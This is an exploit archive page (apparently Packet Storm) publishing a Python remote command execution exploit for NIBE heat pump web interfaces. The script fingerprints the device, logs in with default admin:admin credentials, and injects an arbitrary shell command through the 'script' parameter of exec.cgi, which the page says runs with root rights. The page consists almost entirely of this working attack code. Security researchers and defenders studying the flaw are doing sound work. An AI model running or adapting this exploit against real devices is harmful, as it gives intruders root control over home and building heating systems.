exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NIBE Heat Pump Remote Command Execution

NIBE Heat Pump Remote Command Execution
Posted Apr 28, 2010
Authored by Jelmer de Hen | Site h.ackack.net

NIBE Heat Pump remote command execution exploit.

tags | exploit, remote
SHA-256 | b7be4c5b5ec76e2e1bcc110e78615b4b3669adf96f53c1be031eb2ddf00f317a

NIBE Heat Pump Remote Command Execution

Change Mirror Download
#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump RCE exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Web interface is running with root rights
#


def finger_heatpump(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET / HTTP/1.1\n\n")
header = s.recv(1024)
s.close()
if header.find("NIBE") !=-1:
return 1
else:
return 0

def exploit_pump(ip, port, command, basic_auth):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
cmd_result = ""
while s.recv(1024):
cmd_result = cmd_result + s.recv(1024)
s.close()
return cmd_result

def instructions():
print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
print "Written by Jelmer de Hen"
print "published at http://h.ackack.net/?p=302"
print "Examples (for spaces in commands use %20 instead of \"\x20\"):"
print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\""
sys.exit(1)

def main():
if len(sys.argv)==4 or len(sys.argv)==6:
try:
ip = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3]
except:
instructions()
try:
basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
except:
basic_auth = base64.b64encode("admin:admin")

if finger_heatpump(ip, port) == 1:
print "[+] Fingerprint scan success"
command_result = exploit_pump(ip, port, command, basic_auth)
if len(command_result)==0:
print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
else:
print "[+] Contents of "+command_result+":"
print command_result
else:
print "[-] Fingerprint scan failed"

else:
instructions()

if __name__ == "__main__":
sys.exit(main())
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close